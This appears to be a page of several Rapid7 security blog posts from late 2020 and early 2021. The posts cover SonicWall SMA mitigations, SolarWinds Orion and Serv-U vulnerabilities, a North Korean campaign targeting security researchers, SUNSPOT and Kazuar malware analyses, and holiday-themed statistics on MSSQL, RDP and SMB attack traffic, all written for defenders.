Configure the web application firewall on the SMA 100 series, which has been updated with rules to detect exploitation attempts (SonicWall indicates that this is normally a subscription-based software, but they have automatically provided 60-day complementary licenses to organizations affected by this vulnerability).
If it’s not possible to perform these steps, SonicWall recommends that organizations downgrade their SMA 100 Series appliances to firmware version 9.x. They do note that this will remove all settings and that the devices will need to be reconfigured from scratch.
Urgent patching required for SolarWinds Orion and Serv-U FTP products
On Feb. 3, 2021, Trustwave published a blog post providing details on two vulnerabilities in the SolarWinds Orion platform and a single vulnerability in the SolarWinds Serv-U FTP server for Windows.
The identified Orion platform weaknesses include:
CVE-2021-25274: Trustwave discovered that improper/malicious use of Microsoft Message Queue (MSMQ) could allow any remote, unprivileged attacker to execute arbitrary code in the highest privilege.
CVE-2021-25275: Trustwave discovered that credentials are stored insecurely, allowing any local user to take complete control over the SOLARWINDS_ORION database. This could lead to further information theft, and also enables attackers to add new admin-level users to all SolarWinds Orion platform products.
The identified SolarWinds Serv-U FTP server for Windows weakness enables any local user to create a file that can define a new Serv-U FTP admin account with full access to the C:\ drive, which will then give them access or replace any directory or file on the server.
Trustwave indicated they have private, proof-of-concept code that will be published on Feb. 9, 2021.
SolarWinds Orion Platform users can upgrade to version 2020.2.4. SolarWinds ServU-FTP users can upgrade to version 15.2.2 Hotfix 1.
Rapid7 vulnerability researchers have identified that after the Orion Platform patch is applied, there is a digital signature validation step performed on arrived messages so that messages having no signature or not signed with a per-installation certificate are not further processed. On the other hand, the MSMQ is still unauthenticated and allows anyone to send messages to it.
Rapid7 response
Rapid7 Labs is keeping a watchful eye on Project Heisenberg for indications of widespread inventory scans (attackers looking for potentially vulnerable systems) and will provide updates, as warranted, on any new developments.
Our InsightVM coverage team is currently evaluating options for detecting the presence of these vulnerabilities.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
This blog was co-authored by Caitlin Condon, VRM Security Research Manager, and Bob Rudis, Senior Director and Chief Security Data Scientist.
On Monday, Jan. 25, 2021, Google’s Threat Analysis Group (TAG) published a blog on a widespread social engineering campaign that targeted security researchers working on vulnerability research and development. The campaign, which Google attributed to North Korean (DPRK) state-sponsored actors, has been active for several months and sought to compromise researchers using several methods.
Rapid7 is aware that many security researchers were targeted in this campaign, and information is still developing. While we currently have no evidence that we were compromised, we are continuing to investigate logs and examine our systems for any of the IOCs listed in Google’s analysis. We will update this post with further information as it becomes available.
Organizations should take note that this was a highly sophisticated attack that was important enough to those who orchestrated it for them to burn an as-yet unknown exploit path on. This event is the latest in a chain of attacks—e.g., those targeting SonicWall, VMware, Mimecast, Malwarebytes, Microsoft, Crowdstrike, and SolarWinds—that demonstrates a significant increase in threat activity targeting cybersecurity firms with legitimately sophisticated campaigns. Scenarios like these should become standard components of tabletop exercises and active defense plans.
North Korean-attributed social engineering campaign
Google discovered that the DPRK threat actors had built credibility by establishing a vulnerability research blog and several Twitter profiles to interact with potential targets. They published videos of their alleged exploits, including a YouTube video of a fake proof-of-concept (PoC) exploit for CVE-2021-1647—a high-profile Windows Defender zero-day vulnerability that garnered attention from both security researchers and the media. The DPRK actors also published “guest” research (likely plagiarized from other researchers) on their blog to further build their reputation.
The malicious actors then used two methods to social engineer targets into accepting malware or visiting a malicious website. According to Google:
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project. Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional pre-compiled library (DLL) that would be executed through Visual Studio Build Events. The DLL is custom malware that would immediately begin communicating with actor-controlled command and control (C2) domains.
Visual Studio Build Events command executed when building the provided VS Project files. Image provided by Google.
In addition to targeting users via social engineering, Google also observed several cases where researchers have been compromised after visiting the actors’ blog. In each of these cases, the researchers followed a link on Twitter to a write-up hosted on blog[.]br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server. At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions. As of Jan. 26, 2021, Google was unable to confirm the mechanism of compromise.
The blog the DPRK threat actors used to execute this zero-day drive-by attack was posted on Reddit as long as three months ago. The actors also used a range of social media and communications platforms to interact with targets—including Telegram, Keybase, Twitter, LinkedIn, and Discord. As of Jan. 26, 2021, many of these profiles have been suspended or deactivated.
Rapid7 customers
Google’s threat intelligence includes information on IOCs, command-and-control domains, actor-controlled social media accounts, and compromised domains used as part of the campaign. Rapid7’s MDR team is deploying IOCs and behavior-based detections. These detections will also be available to InsightIDR customers later today. We will update this blog post with further information as it becomes available.
Defender guidance
TAG noted in their blog post that they have so far only seen actors targeting Windows systems. As of the evening of Jan. 25, 2021, researchers across many companies confirmed on Twitter that they had interacted with the DPRK actors and/or visited the malicious blog. Organizations that believe their researchers or other employees may have been targeted should conduct internal investigations to determine whether indicators of compromise are present on their networks.
At a minimum, responders should:
Ensure members of all security teams are aware of this campaign and encourage individuals to report if they believe they were targeted by these actors.
Search web traffic, firewall, and DNS logs for evidence of contacts to the domains and URLs provided by Google in their post.
According to Rapid7 Labs’ forward DNS archive, the br0vvnn[.]io apex domain has had two discovered fully qualified domain names (FQDNs)—api[.]br0vvnn[.]io and blog[.]br0vvnn[.]io—over the past four months with IP addresses 192[.]169[.]6[.]31 and 192[.]52[.]167[.]169, respectively. Contacts to those IPs should also be investigated in historical access records.
Check for evidence of the provided hashes on all systems, starting with those operated and accessed by members of security teams.
Moving forward, organizations and individuals should heed Google’s advice that “if you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.”
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
This update is a continuation of our previous coverage of the SolarWinds supply-chain attack that was discovered by FireEye in December 2020. As of Jan. 11, 2021, new research has been published that expands the security community’s understanding of the breadth and depth of the SolarWinds attack.
Two recent developments warrant your attention:
New in-depth research from CrowdStrike provides technical analysis of the malware—dubbed "SUNSPOT" (the industry is going to run out of stellar-themed names at this rate)—that was used to insert the SUNBURST backdoor into SolarWinds Orion software builds.
On Monday, Jan. 11, 2021, CrowdStrike’s intelligence team published technical analysis on SUNSPOT, a newly identified type of malware that appears to have been used as part of the SolarWinds supply chain attack. CrowdStrike describes SUNSPOT as “a malicious tool that was deployed into the build environment to inject [the SUNBURST] backdoor into the SolarWinds Orion platform.”
While SUNSPOT infection is part of the attack chain that allows for SUNBURST backdoor compromise, SUNSPOT has distinct host indicators of attack (including executables and related files), artifacts, and TTPs (tactics, techniques, and procedures).
CrowdStrike provides a thorough breakdown of how SUNSPOT operates, including numerous indicators of compromise. Here are the critical highlights:
SUNSPOT’s on-disk executable is named taskhostsvc.exe and has an initial, likely build date of Feb. 20, 2020. It maintains persistence through a scheduled task that executes on boot and has the SeDebugPrivilege grant, which is what enables it to read the memory of other processes.
It uses this privilege to watch for MsBuild.exe (a Visual Studio development component) execution and modifies the target source code before the compiler has a chance to read it. SUNSPOT then looks for a specific Orion software source code component and replaces it with one that will inject SUNBURST during the build process. SUNSPOT also has validation checks to ensure no build errors are triggered during the build process, which helps it escape developer and other detection.
The last half of the CrowdStrike analysis has details on tactics, techniques, and procedures, along with host indicators of attack, ATT&CK framework mappings, and YARA rules specific to SUNSPOT. Relevant indicators have been incorporated into Rapid7’s SIEM, InsightIDR, and Managed Detection and Response instances and workflows.
SolarWinds has updated their blog with a reference to this new information on SUNSPOT. Because SUNSPOT, SUNBURST, and related tooling have not been definitively mapped to a known adversary, CrowdStrike has christened the actors responsible for these intrusions “StellarParticle.”
SUNBURST’s Kazuar lineage
Separately, Kaspersky Labs also published technical analysis on Monday, Jan. 11, 2020 that builds a case for a connection between the SUNBURST backdoor and another backdoor called Kazuar. Kazuar, which Palo Alto Networks’ Unit42 team first described in May of 2017 as a “multiplatform espionage backdoor with API access,” is a .NET backdoor that Kaspersky says appears to share several “unusual features” with SUNBURST. (Palo Alto linked Kazuar to the Turla APT group back in 2017, which Kaspersky says their own observations support, too.)
Shared features Kaspersky has identified so far include the use of FNV-1a hashing throughout Kazua and SUNBURST code, a similar algorithm used to generate unique victim identifiers, and customized (thought not exactly the same) implementations of a sleeping algorithm that delays between connections to a C2 server and makes network activity less obvious. Kaspersky has a full, extremely detailed list of similar and different features across both backdoors in their post.
Kaspersky does not definitively state that the two backdoors are the work of the same actor. Instead, they offer five possible explanations for the similarities they’ve identified between Kazuar and SUNBURST. The potential explanations below have been taken directly from their post:
Sunburst was developed by the same group as Kazuar.
The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection (they used Kazuar as an inspiration point).
Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source.
Some of the Kazuar developers moved to another team, taking knowledge and tools with them.
The Sunburst developers introduced these subtle links as a form of false flag, in order to shift blame to another group.
As Kaspersky notes, the knowledge of a potential lineage connection to Kazaur changes little for defenders, but is worth keeping an eye on, as a confirmed connection may help those in more highly targeted sectors use previous Kazuar detection and prevention methods to enhance their response to the SolarWinds compromise.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
As requested, your dutiful elves here at Rapid7 Labs have compiled a list of the naughty country networks being used to launch cyberattacks across the globe. Needless to say, some source networks have been very naughty (dare we use the word “again,” since these all seem to be repeat offenders).
To make it easier to digest, we’ve broken the list out into three categories:
Naughty Microsoft SQL Server attacks
Naughty Microsoft Remote Desktop Protocol (RDP) attacks
Naughty Microsoft SMB attacks
These are focused on the top offenders for the last half of the year, and provide a smoothed trending view (vs. discrete daily counts) in each one to help you make your Naughty/Nice inclusion decisions.
Naughty Microsoft SQL server attacks
Hopefully you do not maintain your lists on publicly accessible Microsoft SQL servers, as they are regular targets for attackers who have their evil designs on them, with a major focus on using them for cryptocurrency mining this year.
Source Country Network
Median Daily MSSQL Attack Interactions
China
147,677
United States
12,984
India
7,159
Brazil
8,984
Russia
7,031
A massive botnet operating from before the fall of 2019 and early 2020 abruptly stopped operations just before summer, and MS SQL server credential and query attack types have leveled off to previous baseline levels. The enduring lesson from measuring these interactions is for all the grown-up kids out there to never, ever put any database like MS SQL on the public internet. Unfortunately, you can read an excerpt from our other report that found nearly 100,000 of them earlier this year (perhaps the offenders on that list would be better placed on the naughty list?).
Naughty Microsoft Remote Desktop Protocol (RDP) attacks
We were sorry to hear that even your own factory had to observe remote-work protocols starting in March, but we hope your IT department did not have to resort to enabling direct Microsoft Remote Desktop Protocol (RDP) access, since it has been the target of a massive increase in discovery and credential stuffing attacks the last quarter of this year.
Source Country Network
Median Daily RDP Attack Interactions
Russia
41,515
United Kingdom
23,337
United States
32,840
Germany
2,832
France
12,802
Naughty traffic levels started just before the presidential election in the United States and further increased in size toward the end of the year.
RDP-targeted ransomware has been a fairly huge problem this year, with many nefarious attackers setting their sights on overworked and under-resourced healthcare, education, and municipal targets.
It might be worth taking some time to remind your elves in IT that it’s not a good idea to put RDP services directly on the internet. While another of our reports earlier this year did not find any RDP nodes coming from the North Pole autonomous system, it is possible we didn’t inventory your network on a day they did. As you know, it’s best to put RDP servers behind a dedicated (and properly configured) Microsoft RDP Gateway server or—better yet—a multifactor virtual private network (VPN).
The majority of the malicious RDP traffic coming from the U.K., U.S., and Germany appear to be the work of one or two groups who should also be considered candidates for the naughty list.
Naughty Microsoft SMB attacks
Source Country Network
Median Daily SMB Attack Interactions
Vietnam
4,206,475
India
2,137,146
Russia
2,055,072
Brazil
1,478,000
Indonesia
1,420,109
Last, we lament the need to report a renewed uptick in EternalBlue-infused attacks against internet-accessible Microsoft SMB servers. The vast majority of source nodes involved with these attacks are part of the various Mirai-like botnets that use both traditional compromised server hosts and (mostly) “internet of things” devices such as cameras, DVRs, and other business and home automation devices to coordinate and orchestrate attacks.
Might we be so bold as to suggest that you hold off—at least this year—distributing rebranded white-box electronics components to the folks on the Nice list? If you do insist on giving out home automation presents this year, please make sure the programmer elves follow the guidance in the IoT Security Foundation’s Security Compliance Framework to guard against adding more nodes to these naughty botnets.
If you’re wondering why attackers are still looking for SMB servers, you can see for yourself that there are still hundreds of thousands of them out on the internet to connect to. We’re just glad you switched to using a secure file transfer service to exchange documents (like this one!) with all your partner elves.
Glad tidings `til next year!
We hope you, Mrs. Claus, the elves and all the reindeer stay safe and socially distanced. We’ll make sure to leave the cookies and bourbon milk in the usual place.
Happy Holidays from all the Elves in Rapid7 Labs!
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
By continuing to use the site, you agree to the use of cookies. more information
The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.
